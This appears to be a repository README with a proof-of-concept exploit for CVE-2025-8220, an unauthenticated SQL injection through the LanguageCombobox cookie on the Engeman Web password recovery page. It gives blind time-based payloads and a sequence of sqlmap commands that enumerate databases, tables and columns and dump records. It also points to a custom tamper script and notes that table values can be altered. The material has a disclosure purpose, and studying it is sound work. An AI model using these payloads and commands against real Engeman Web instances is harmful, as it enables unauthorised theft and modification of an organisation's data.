m3m0o/engeman-web-language-combobox-sqliProof of concept for exploitation of the vulnerability described in CVE-2025-8220, which concerns the possibility of SQL Injection during the password recovery page load in the Engeman Web software.
Proof of concept for exploitation of the vulnerability described in CVE-2025-8220, which concerns the possibility of SQL Injection during the password recovery page load in the Engeman Web software.
A vulnerability that allows manipulation of the SQL query made during the password recovery page load was found in the Engeman Web software. This vulnerability can be exploited by visitors without access to any valid credentials, that is, in an unauthenticated manner, to compromise the confidentiality and integrity of the data stored in the application's database, as well as potentially cause denial of service at the component level by altering values in critical tables.
After accessing the application and being redirected to the login page, click the button to be redirected to the password recovery page.
Check the request made by the browser to load the password recovery page. You will notice that some cookies are present, including the LanguageCombobox cookie, which is stored during the initial access. The Burp Suite software was used in this demonstration to view and resend browser requests more efficiently.
To confirm the vulnerability, insert a single quotation mark as the value of the mentioned cookie and resend the request. An error indicating an unclosed quotation mark should be displayed in the application's response.
The query results are not displayed directly on the returned page, making this a blind exploitation. You can insert payloads such as ' AND SLEEP(30)-- - or '; WAITFOR DELAY '0:0:30'-- to infer the underlying database.
Once the injection is confirmed, an automated tool such as sqlmap can be used to dump the database.
It is important to note that the --technique argument must include the value SEB so that techniques based on stacked queries, errors, and boolean comparisons are used. First, because a blind exploitation is necessary, and second, because omitting the S option from the argument value resulted in sqlmap being unable to find the injection point in SQL Server databases.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch
Different possible exploitation techniques will be identified through the injection point. After that, the database information can be retrieved.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns
To dump table records using sqlmap, it is necessary to use a custom tamper script (at least for SQL Server databases) which goes by the name replace-dbo.py in this repository. The reason for this is that sqlmap payloads using the format <database>.dbo.<table> to reference the table object conflict with the application's processing. The mentioned tamper converts it to the format <database>.<table> only. If the instance of Engeman Web uses MySQL or another database this tamper will not be required, or another one will need to be created.
Remember that the sqlmap tool requires an empty file named init.py to exist in the directory where the tamper script is located in order for it to be used, if you don't placed it on the default tamper directory for your installation.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
This tamper will cause conflicts if used at any stage of the process other than during the dump of a specific table. Therefore, do not use it to obtain the databases (--dbs), tables (--tables), columns (--columns), or additional information such as the database user (--current-user).
Since the user used by the application to interact with the database has high privileges within the context of system records, it is also possible to manipulate the underlying query to alter the values of the table records (this is much easier if the instance is using SQL Server as the underlying database).
Through this vulnerability, any instance of the system would be susceptible to the unauthorized retrieval and possibly modification of data present in the database in use.
This vulnerability was confirmed in versions up to 12.0.0.1, but a more recent version is likely also vulnerable.